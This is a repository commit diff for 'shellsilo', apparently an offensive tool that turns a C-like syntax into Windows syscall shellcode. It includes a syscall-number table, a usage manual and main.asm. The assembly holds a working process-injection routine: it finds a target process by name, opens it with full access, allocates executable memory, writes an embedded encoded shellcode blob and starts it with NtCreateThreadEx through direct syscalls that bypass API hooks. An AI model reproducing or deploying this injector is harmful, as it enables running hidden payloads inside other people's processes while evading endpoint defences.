admin/nixpal-shellsilo
1
0
Fork 0
mirror of https://github.com/nixpal/shellsilo synced 2026-06-06 16:24:28 +00:00
Code Issues Packages Projects Releases Wiki Activity

v1 changes

Browse Source
This commit is contained in:
Tarek Ahmed
2025-07-31 22:28:16 -07:00
parent 90a7722be9
commit 234d1a12f5
8 changed files with 2774 additions and 703 deletions
Download Patch File Download Diff File Expand all files Collapse all files
constants.py
+36 -22
View File
@@ -1,24 +1,55 @@
type_map = {
"0x1": "byte",
"0x2": "word",
"0x4": "dword",
"0x8": "qword"
}
dataTypes = {
"PWSTR":0x4,
"PWSTR":0x8,
"PVOID":0x4,
"PWCHAR":0x4,
"PSIZE_T":0x4,
"HANDLE":0x4,
"SIZE_T":0x4,
"HANDLE":0x8,
"SIZE_T":0x8,
"UCHAR":0x1,
"USHORT":0x2,
"BYTE":0x1,
"ULONG":0x4,
"ULONG_PTR":0x4,
"ULONG_PTR":0x8,
"SIZE_T":0x4,
"NTSTATUS":0x4,
"DWORD":0x4,
"KPRIORITY":0x4,
"LARGE_INTEGER":0x8,
"ULONGLONG":0x8,
"ACCESS_MASK":0x4}
specialVars = {"GetCurrentProcess()":hex(0xffffffff),
dataTypes_x86 = {
"PWSTR": 0x4,
"PVOID": 0x4,
"PWCHAR": 0x4,
"PSIZE_T": 0x4,
"HANDLE": 0x4,
"SIZE_T": 0x4,
"UCHAR": 0x1,
"USHORT": 0x2,
"BYTE": 0x1,
"ULONG": 0x4,
"ULONG_PTR": 0x4,
"NTSTATUS": 0x4,
"DWORD": 0x4,
"KPRIORITY": 0x4,
"LARGE_INTEGER": 0x8,
"ULONGLONG": 0x8,
"ACCESS_MASK": 0x4
}
specialVars = {
"GetCurrentProcess()":-1,
"MEM_COMMIT":hex(0x1000),
"MEM_RESERVE":hex(0x2000),
"MEM_RELEASE":hex(0x8000),
@@ -32,20 +63,3 @@ specialVars = {"GetCurrentProcess()":hex(0xffffffff),
"NTSTATUS":"NULL",
"NULL":hex(0x0)}
sysCalls = {"NtAllocateVirtualMemory":{"10":["0018"],
"11":["0018"]
},
"NtQuerySystemInformation":{"10":["0036"],
"11":["0167" ,"0169", "016c", "016c", "016d"]
},
"NtOpenProcess":{"10":["0026"],
"11":["0029"]
},
"NtWriteVirtualMemory":{"10":["003A"],
"11":["0030"]
},
"NtCreateThreadEx":{"10":["00b3","00b4","00b6","00b9","00ba","00bb","00bc","00bd","00bd","00c1","00c1","00c1","00c2","00c2"],
"11":["00c5","00c6","00c7","00c7","00c8"]
}
}
main.asm
+687
View File
@@ -0,0 +1,687 @@
section .data
shellcode db 049h, 0b8h, 0c1h, 0e6h, 042h, 014h, 0e1h, 081h, 076h, 08dh
db 054h, 05eh, 066h, 081h, 0e6h, 020h, 0f7h, 048h, 031h, 0dbh
db 0dbh, 0c9h, 048h, 00fh, 0aeh, 006h, 0b3h, 07eh, 048h, 08bh
db 07eh, 008h, 048h, 0ffh, 0cbh, 04ch, 031h, 044h, 0dfh, 019h
db 048h, 085h, 0dbh, 075h, 0f3h, 089h, 06fh, 0a3h, 05ch, 0d0h
db 07eh, 0adh, 043h, 0a7h, 067h, 0a3h, 094h, 01bh, 0c9h, 079h
db 023h, 0c0h, 0afh, 0ffh, 04fh, 061h, 000h, 0cbh, 09eh, 0ebh
db 0d8h, 05dh, 054h, 056h, 0f9h, 03eh, 006h, 090h, 0eeh, 00ah
db 0ebh, 02eh, 0cdh, 047h, 0e1h, 03bh, 0cfh, 00ah, 091h, 01eh
db 0f4h, 085h, 09fh, 0c8h, 085h, 0b7h, 036h, 019h, 064h, 0bdh
db 064h, 033h, 001h, 0beh, 086h, 029h, 0dfh, 091h, 09fh, 04eh
db 0c9h, 0fdh, 04fh, 072h, 0afh, 067h, 025h, 055h, 048h, 06fh
db 061h, 06dh, 0f2h, 0e2h, 094h, 049h, 02fh, 000h, 0cdh, 082h
db 08eh, 025h, 006h, 068h, 02fh, 07ah, 0d5h, 0beh, 04ch, 02dh
db 002h, 07fh, 03eh, 0e1h, 045h, 0ech, 040h, 01fh, 099h, 033h
db 092h, 090h, 06bh, 0e4h, 0a6h, 03ah, 072h, 03fh, 05fh, 077h
db 05bh, 093h, 00ah, 030h, 0d7h, 01ch, 072h, 091h, 025h, 0c1h
db 050h, 0f2h, 0a1h, 0bah, 03ah, 02fh, 05dh, 0e3h, 028h, 005h
db 00fh, 09dh, 03eh, 055h, 045h, 0d8h, 0eah, 072h, 043h, 0c0h
db 00bh, 02fh, 082h, 065h, 043h, 080h, 0d3h, 021h, 085h, 0b9h
db 06fh, 077h, 030h, 00fh, 014h, 01ah, 0ffh, 08eh, 013h, 09ch
db 0a4h, 03ah, 032h, 088h, 039h, 03bh, 0d0h, 0f3h, 002h, 072h
db 08dh, 0f0h, 012h, 046h, 00fh, 06fh, 022h, 072h, 0f7h, 0c0h
db 02ah, 084h, 0b2h, 0bch, 00bh, 0a0h, 019h, 006h, 0a7h, 00bh
db 047h, 0a1h, 0f2h, 0ceh, 005h, 05ch, 0f8h, 01bh, 0d9h, 0ebh
db 051h, 013h, 0d6h, 020h, 02dh, 04dh, 054h, 08ah, 063h, 094h
db 00eh, 058h, 0a2h, 04ah, 0b2h, 006h, 0dfh, 0bch, 0b9h, 010h
db 029h, 073h, 096h, 054h, 0fbh, 0bch, 0c3h, 000h, 010h, 0b1h
db 09eh, 09eh, 007h, 0ffh, 048h, 0a5h, 07ch, 0d4h, 08ch, 0c9h
db 06bh, 054h, 0c1h, 0bah, 0e6h, 0adh, 09fh, 010h, 071h, 06ah
db 005h, 070h, 07fh, 0a9h, 0bdh, 0cbh, 0a2h, 0b8h, 06fh, 045h
db 074h, 0eah, 095h, 0a7h, 0a2h, 048h, 00ch, 00ah, 00dh, 01dh
db 03eh, 08eh, 0a2h, 032h, 02ch, 033h, 0cfh, 006h, 043h, 0e8h
db 038h, 004h, 0e1h, 0e1h, 058h, 0fah, 00bh, 02ah, 08dh, 0b5h
db 059h, 07fh, 009h, 0ach, 043h, 05ah, 00eh, 091h, 041h, 0a6h
db 00ah, 09ah, 043h, 0e0h, 08eh, 0ech, 041h, 0a6h, 00ah, 0dah
db 046h, 05ah, 015h, 0bch, 006h, 09ah, 012h, 0b0h, 043h, 0e0h
db 0aeh, 0a4h, 041h, 01ch, 098h, 056h, 037h, 00ah, 0a0h, 0f6h
db 025h, 00dh, 019h, 03bh, 0c2h, 066h, 09dh, 0f5h, 0c8h, 0cfh
db 0b5h, 0a8h, 04ah, 03ah, 094h, 07fh, 05bh, 00dh, 0d3h, 0b8h
db 037h, 023h, 0ddh, 024h, 06fh, 0ach, 020h, 0e2h, 000h, 069h
db 0d3h, 071h, 07bh, 02dh, 058h, 0fah, 080h, 0ebh, 054h, 0f4h
db 009h, 02dh, 010h, 07fh, 0cbh, 01fh, 0bbh, 0bch, 008h, 0fdh
db 0d3h, 0b2h, 013h, 02fh, 057h, 0b4h, 029h, 064h, 059h, 02ah
db 05bh, 088h, 08ah, 0bch, 0f6h, 0e4h, 019h, 071h, 03fh, 0e3h
db 094h, 0f5h, 0dfh, 060h, 069h, 033h, 043h, 05ah, 01ch, 0b5h
db 0c8h, 0e4h, 055h, 056h, 04ah, 06ah, 01dh, 0cch, 0e9h, 058h
db 0a9h, 0b6h, 008h, 027h, 0f8h, 0fch, 04ch, 014h, 089h, 08fh
db 0d3h, 033h, 098h, 07fh, 049h, 009h, 011h, 0fbh, 0dbh, 00dh
db 09dh, 07fh, 005h, 065h, 01ch, 071h, 04bh, 077h, 095h, 0f5h
db 0d9h, 06ch, 0d3h, 0feh, 083h, 023h, 0ddh, 024h, 048h, 075h
db 019h, 0a2h, 055h, 032h, 086h, 0b5h, 051h, 06ch, 001h, 0bbh
db 051h, 023h, 05fh, 018h, 029h, 06ch, 00ah, 005h, 0ebh, 033h
db 09dh, 0adh, 053h, 065h, 0d3h, 0e8h, 0e2h, 020h, 023h, 00bh
db 0f6h, 070h, 010h, 0cbh, 0d0h, 038h, 095h, 04ah, 07eh, 044h
db 036h, 093h, 065h, 00eh, 0a8h, 0f4h, 048h, 07bh, 010h, 073h
db 0eah, 022h, 01bh, 036h, 045h, 05ah, 07eh, 0fdh, 0f4h, 0beh
db 08fh, 0a7h, 0e1h, 05ah, 058h, 0fah, 00bh, 026h, 0b3h, 08eh
db 060h, 041h, 034h, 09bh, 024h, 05eh, 0f2h, 0c4h, 029h, 005h
db 015h, 09bh, 068h, 002h, 0b2h, 080h, 066h, 05eh, 030h, 0c1h
db 02bh, 022h, 0b2h, 080h, 06ch, 041h, 078h, 0b7h, 06ah, 008h
db 0fch, 0bbh, 05ah, 00dh, 000h, 0dah, 03ah, 05fh, 083h, 0c3h
db 056h, 01fh, 071h, 0dah, 04ah, 01bh, 0ach, 098h, 06ch, 07ah
db 03dh, 098h, 040h, 002h, 0a8h, 0dbh, 03fh, 01dh, 06dh, 0d4h
db 03ah, 045h, 0edh, 0c1h, 029h, 005h, 013h, 0b2h, 05fh, 026h
db 090h, 0d8h, 029h, 041h, 031h, 091h, 06eh, 04bh, 09bh, 091h
db 06ah, 046h, 037h, 0d3h, 02bh, 03dh, 0b9h, 086h, 07ah, 044h
db 037h, 094h, 024h, 05ah, 0ebh, 0dah, 03dh, 003h, 069h, 0dah
db 058h, 00ah, 0bah, 095h, 07bh, 044h, 077h, 0cch, 03bh, 05eh
db 0f2h, 0c5h, 027h, 01ch, 06dh, 0fah, 052h, 038h, 086h, 0b9h
db 038h, 0edh, 015h, 0cbh, 0c2h, 038h, 08fh, 0bdh, 0b3h, 017h
db 00eh, 083h, 0ach, 06bh, 0dch, 0f4h, 009h, 0d2h, 08dh, 012h
db 000h, 06bh, 0dch, 0f4h, 038h, 01dh, 076h, 0cah, 025h, 05bh
db 0f2h, 0c5h, 03bh, 015h, 058h, 0a0h, 043h, 0e2h, 01dh, 0bdh
db 0ceh, 0edh, 0a3h, 0dah, 00bh, 06bh, 091h, 0c5h, 0c0h, 07eh
db 00bh, 090h, 008h, 038h, 095h, 04eh, 05eh, 0a4h, 0c7h, 03ch
db 00bh, 06bh, 0dch, 0f4h, 0f6h, 0f8h, 0b0h, 0d5h, 00bh, 06bh
db 0dch, 0dbh, 05eh, 048h, 01dh, 082h, 066h, 027h, 0b0h, 0c4h
db 038h, 059h, 01fh, 080h, 07dh, 05ch, 097h, 0cdh, 03bh, 014h
db 02bh, 09bh, 069h, 01ch, 0b3h, 092h, 062h, 048h, 068h, 0ach
db 05dh, 03fh, 0bbh, 0c6h, 05bh, 04eh, 00ah, 091h, 073h, 00eh
db 0a8h, 0b5h, 045h, 064h, 061h, 0aeh, 040h, 06bh, 094h, 07dh
db 0c8h, 07eh, 002h, 0bbh, 053h, 026h, 0edh, 03dh, 05ah, 065h
db 0e0h, 0fah, 039h, 0c3h, 058h, 0f4h, 009h, 02dh, 058h, 0aah
db 058h, 038h, 095h, 033h, 0cbh, 0c6h, 00dh, 0d4h, 030h, 094h
db 009h, 0bch, 080h, 0ebh, 032h, 0f0h, 054h, 023h, 055h, 005h
db 063h, 032h, 002h, 0a8h, 063h, 0ebh, 0efh, 0f4h, 009h, 064h
db 0d1h, 01ah, 061h, 06fh, 09dh, 0adh, 040h, 097h, 02dh, 0bch
db 095h, 0edh, 0dch, 0f4h, 009h, 02dh, 0a7h, 02fh, 046h, 05ah
db 01ch, 0a7h, 053h, 065h, 0d1h, 00bh, 046h, 05ah, 015h, 0b9h
db 038h, 0e4h, 00bh, 0a9h, 042h, 0ach, 01eh, 0d9h, 00fh, 035h
db 023h, 005h, 0deh, 0eeh, 01ch, 081h, 016h, 065h, 09fh, 03bh
db 083h, 078h, 0dch, 0f4h, 040h, 097h, 01ch, 00ah, 03eh, 08bh
db 0dch, 0f4h, 009h, 02dh, 0a7h, 02fh, 043h, 094h, 013h, 080h
db 00bh, 0c6h, 0f2h, 012h, 05eh, 06bh, 0dch, 0f4h, 05ah, 074h
db 032h, 0bah, 051h, 022h, 055h, 025h, 0c8h, 0cfh, 048h, 0b3h
db 0cch, 0abh, 0dch, 0e4h, 009h, 02dh, 011h, 040h, 053h, 0cfh
db 08fh, 011h, 009h, 02dh, 058h, 0fah, 0f4h, 0beh, 094h, 067h
db 05ah, 07eh, 010h, 073h, 0ech, 023h, 055h, 005h, 041h, 0a4h
db 082h, 0b3h, 0cch, 0abh, 0dch, 0d4h, 009h, 02dh, 011h, 073h
db 0f2h, 022h, 066h, 0e6h, 09fh, 0a4h, 0bah, 0fah, 00bh, 06bh
db 0dch, 00bh, 0dch, 065h, 0dbh, 03eh, 02bh, 0eeh, 01ch, 080h
db 0bbh, 04bh, 0d3h, 0fdh, 043h, 06ah, 01fh, 071h, 0c9h, 058h
db 08ah, 0a2h, 0c8h, 033h, 0b6h, 0f4h, 050h, 064h, 09fh, 038h
db 0fbh, 0deh, 07eh, 0a2h, 0f6h, 0f8h, 07fh, 0fah, 0c3h, 020h
db 09dh, 02eh, 01ch
global _start
section .text
_start:
push rbp
mov rbp, rsp
sub rsp, 0x500
jmp Begin
m_10240:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00b3
cmovz rdi, rbx
ret
m_10586:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00b4
cmovz rdi, rbx
ret
m_14393:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00b6
cmovz rdi, rbx
ret
m_15063:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00b9
cmovz rdi, rbx
ret
m_16299:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00ba
cmovz rdi, rbx
ret
m_17134:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00bb
cmovz rdi, rbx
ret
m_17763:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00bc
cmovz rdi, rbx
ret
m_18362:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00bd
cmovz rdi, rbx
ret
m_18363:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00bd
cmovz rdi, rbx
ret
m_19041:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00c1
cmovz rdi, rbx
ret
m_19042:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00c1
cmovz rdi, rbx
ret
m_19043:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00c1
cmovz rdi, rbx
ret
m_19044:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00c2
cmovz rdi, rbx
ret
m_19045:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00c2
cmovz rdi, rbx
ret
m_22000:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00c5
cmovz rdi, rbx
ret
m_20348:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00c6
cmovz rdi, rbx
ret
m_22621:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00c7
cmovz rdi, rbx
ret
m_22631:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00c7
cmovz rdi, rbx
ret
m_25398:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00c8
cmovz rdi, rbx
ret
m_26100:
cmp rdi, 0x1d
mov rbx, 0x0018
cmovz rdi, rbx
cmp rdi, 0x150
mov rbx, 0x0036
cmovz rdi, rbx
cmp rdi, 0x100
mov rbx, 0x0026
cmovz rdi, rbx
cmp rdi, 0x1f9
mov rbx, 0x003a
cmovz rdi, rbx
cmp rdi, 0x80
mov rbx, 0x00c9
cmovz rdi, rbx
ret
GetSysModelNumber:
mov rax, gs:[0x60]
mov rax, [rax+0x120]
and rax, 0xffff
cmp eax, 10240
je m_10240
cmp eax, 10586
je m_10586
cmp eax, 14393
je m_14393
cmp eax, 15063
je m_15063
cmp eax, 16299
je m_16299
cmp eax, 17134
je m_17134
cmp eax, 17763
je m_17763
cmp eax, 18362
je m_18362
cmp eax, 18363
je m_18363
cmp eax, 19041
je m_19041
cmp eax, 19042
je m_19042
cmp eax, 19043
je m_19043
cmp eax, 19044
je m_19044
cmp eax, 19045
je m_19045
cmp eax, 22000
je m_22000
cmp eax, 20348
je m_20348
cmp eax, 22621
je m_22621
cmp eax, 22631
je m_22631
cmp eax, 25398
je m_25398
cmp eax, 26100
je m_26100
ret
invokeSysCall:
syscall
ret
Begin:
mov qword [rbp-0x4], 0x0
mov word [rbp-0xc], 0x0
mov word [rbp-0xe], 0x0
mov qword [rbp-0x10], 0x0
mov qword [rbp-0x18], 0x0
mov qword [rbp-0x20], 0x0
mov word [rbp-0x28], 0x0
mov word [rbp-0x2a], 0x0
mov dword [rbp-0x2c], 0x0
mov dword [rbp-0x30], 0x0
mov dword [rbp-0x34], 0x0
mov dword [rbp-0x38], 0x0
mov qword [rbp-0x3c], 0x0
mov dword [rbp-0x44], 0x0
mov qword [rbp-0x10], 0x0
mov word [rbp-0x44], 0x1c
mov qword [rbp-0x48], 0x0
mov qword [rbp-0x50], 0x0
mov qword [rbp-0x58], 0x2000
mov qword [rbp-0x60], 0x0
mov qword [rbp-0x68], 0x0
mov qword [rbp-0x70], 0x0
mov qword [rbp-0x78], 0x0
mov qword [rbp-0x80], 0x5
mov qword [rbp-0x88], 0x0
mov qword [rbp-0x90], 0x0
mov qword [rbp-0x98], 0x0
mov qword [rbp-0xa0], 0x0
lea rax, [rel shellcode]
mov qword [rbp-0xa8], rax
loopStart_fxR:
NtAllocateVirtualMemory:
mov rcx, -1
lea rbx, qword [rbp-0x48]
mov rdx, rbx
mov r8, qword [rbp-0x68]
lea rbx, qword [rbp-0x58]
mov r9, rbx
push 0x4
push 0x3000
sub rsp, 0x20
mov rdi, 0x1d
call GetSysModelNumber
mov r10, rcx
mov rax, rdi
call invokeSysCall
add rsp, 0x38
NtQuerySystemInformation:
mov rcx, qword [rbp-0x80]
mov rdx, qword [rbp-0x48]
mov r8, qword [rbp-0x58]
lea rbx, qword [rbp-0x70]
mov r9, rbx
sub rsp, 0x20
mov rdi, 0x150
call GetSysModelNumber
mov r10, rcx
mov rax, rdi
call invokeSysCall
mov qword [rbp-0x78], rax
add rsp, 0x30
mov rax, qword [rbp-0x78]
cmp rax, 0x0
je loopEnd_Ciz
add qword [rbp-0x70], 0x2000
mov rbx, qword [rbp-0x70]
mov qword [rbp-0x58], rbx
mov qword [rbp-0x48], 0x0
jmp loopStart_fxR
loopEnd_Ciz:
mov rbx, qword [rbp-0x48]
mov qword [rbp-0x98], rbx
loopStart_meY:
mov rbx, qword [rbp-0x98]
mov ebx, dword [rbx]
mov qword [rbp-0x88], rbx
mov rax, qword [rbp-0x88]
cmp rax, 0x0
je loopEnd_dNh
mov rbx, qword [rbp-0x88]
add qword [rbp-0x98], rbx
mov rbx, qword [rbp-0x98]
mov rbx, qword [rbx+0x40]
mov qword [rbp-0x90], rbx
sub rsp, 0x28
mov rax, 0x0063006c00610043
mov qword [rsp], rax
mov rax, 0x00740061006c0075
mov qword [rsp+8], rax
mov rax, 0x007000410072006f
mov qword [rsp+16], rax
mov rax, 0x00780065002e0070
mov qword [rsp+24], rax
mov rax, 0x0000000000000065
mov qword [rsp+32], rax
mov rbx, rsp
mov qword [rbp-0x4], rbx
mov word [rbp-0xe], 0x22
mov rdi, qword [rbp-0x90]
mov rsi, qword [rbp-0x4]
mov rcx, 0x22
cld
repe cmpsb
mov rbx, qword [rbp-0x98]
mov rbx, qword [rbx+0x50]
mov qword [rbp-0xa0], rbx
je loopEnd_dNh
jmp loopStart_meY
loopEnd_dNh:
mov qword [rbp-0xd8], 0x0
mov qword [rbp-0xe0], 0x0
mov qword [rbp-0xe8], 0x0
mov rbx, qword [rbp-0xa0]
mov qword [rbp-0xe8], rbx
NtOpenProcess:
lea rbx, qword [rbp-0xd8]
mov rcx, rbx
mov rdx, 0x1fffff
lea rbx, qword [rbp-0x44]
mov r8, rbx
lea rbx, qword [rbp-0xe8]
mov r9, rbx
sub rsp, 0x20
mov rdi, 0x100
call GetSysModelNumber
mov r10, rcx
mov rax, rdi
call invokeSysCall
add rsp, 0x30
mov qword [rbp-0x48], 0x0
NtAllocateVirtualMemory1:
mov rcx, qword [rbp-0xd8]
lea rbx, qword [rbp-0x48]
mov rdx, rbx
mov r8, qword [rbp-0x68]
lea rbx, qword [rbp-0x58]
mov r9, rbx
push 0x40
push 0x3000
sub rsp, 0x20
mov rdi, 0x1d
call GetSysModelNumber
mov r10, rcx
mov rax, rdi
call invokeSysCall
add rsp, 0x38
mov qword [rbp-0xf8], 0x41d
NtWriteVirtualMemory:
mov rcx, qword [rbp-0xd8]
mov rdx, qword [rbp-0x48]
mov r8, qword [rbp-0xa8]
mov r9, qword [rbp-0xf8]
lea rbx, qword [rbp-0x50]
push rbx
sub rsp, 0x20
mov rdi, 0x1f9
call GetSysModelNumber
mov r10, rcx
mov rax, rdi
call invokeSysCall
add rsp, 0x34
mov qword [rbp-0x100], 0x0
NtCreateThreadEx:
lea rbx, qword [rbp-0x100]
mov rcx, rbx
mov rdx, 0x1fffff
mov r8, 0x0
mov r9, qword [rbp-0xd8]
push 0x0
push 0x0
push 0x0
push 0x0
push 0x0
push 0x0
push qword [rbp-0x48]
sub rsp, 0x20
mov rdi, 0x80
call GetSysModelNumber
mov r10, rcx
mov rax, rdi
call invokeSysCall
add rsp, 0x4c
leave
ret
main.obj
BIN
View File
Binary file not shown.
manual
+133 -150
View File
@@ -1,217 +1,200 @@
🐚 ShellSilo Manual
===========| IF STATEMENT |===========
A guide to ShellSilo's custom C-like syntax for generating syscall shellcode.
if (var1 == <var2/string/int/hex>){
do something
break;
📌 Table of Contents
🔁 Control Flow
If Statement
While Loop
🏗 Struct Definitions
🔧 Main Function
🔣 Variable Definitions
📝 Variable Assignment
📦 Structure Instances
🧱 Struct Member Assignment
📞 Function Calls
📥 Returned Structures
🔍 Accessing Returned Values
🔠 Unicode String Initialization
🧵 String Variable Assignment
🔐 Special Constants and Functions
🔁 Control Flow
✅ If Statement
if (var1 == <var2/string/int/hex>) {
do something
break;
}
;; The if statement right side must be a variable, string, int, or hex.
++++++++++++++++++++++++++++++++++++++
The right-hand side of the condition must be a variable, string, integer, or hex value.
===========| Infinite While loop |===========
♾ While Loop
while(TRUE){
if (<var1> == <var2/string/int/hex>){
do something
break;
}
while(TRUE) {
if (var1 == <var2/string/int/hex>) {
do something
break;
}
}
;; Only infinite while loops work for now
;; If statements only work inside infinite loops to allow the user to break upon condition.
;; Wait for future updates to accept if statements outside loops.
++++++++++++++++++++++++++++++++++++++
Only infinite while(TRUE) loops are currently supported.
if conditions are only valid inside while(TRUE) loops.
===========| Define Structs |===========
🏗 Struct Definitions
typedef struct <structure_name> {
struct body;
struct body;
struct body;
}<struct alias>, *<optional_pointer>;
type member1;
type member2;
...
} <struct_alias>, *<optional_pointer>;
Example 1:
typedef struct _UNICODE_STRING {
Example 1:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
Example 2:
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
++++++++++++++++++++++++++++++++++++++
🔧 Main Function
===========| Main Function |===========
<MAIN>
{
line 1;
line 2;
line 3;
line 4;
<MAIN> {
line 1;
line 2;
...
}
;; The main function starts with <MAIN>, unlike C language int main()
++++++++++++++++++++++++++++++++++++++
Use <MAIN> instead of int main()
🔣 Variable Definitions
===========| Variables definition |===========
<type> <variable_name> = <var | NULL | int | string | constant>;
<type> <variable_name> = <var,NULL,int,string,constant>;
Example 1:
PVOID remoteAddress = NULL;
HANDLE hProcess = NULL;
Example 2:
DWORD DesiredAccess = PROCESS_ALL_ACCESS;
Example:
Example 3:
DWORD ProcInfo = 0x5;
DWORD ProcInfo2 = 2;
PVOID remoteAddress = NULL;
DWORD DesiredAccess = PROCESS_ALL_ACCESS;
DWORD ProcInfo = 0x5;
;; The variable type has to match one of the types in the constants.py file.
;; A new type could be added to the file as you go. Make sure you add the correct size of that type.
++++++++++++++++++++++++++++++++++++++
📝 Variable Assignment
BaseAddress = 0;
BaseAddress += 1;
BaseAddress -= 1;
mystring = "Hello world";
===========| Variable assignment |===========
📦 Structure Instances
Example 1:
BaseAddress = 0;
BaseAddress += 1;
BaseAddress -= 1;
RegionSize = dwRet;
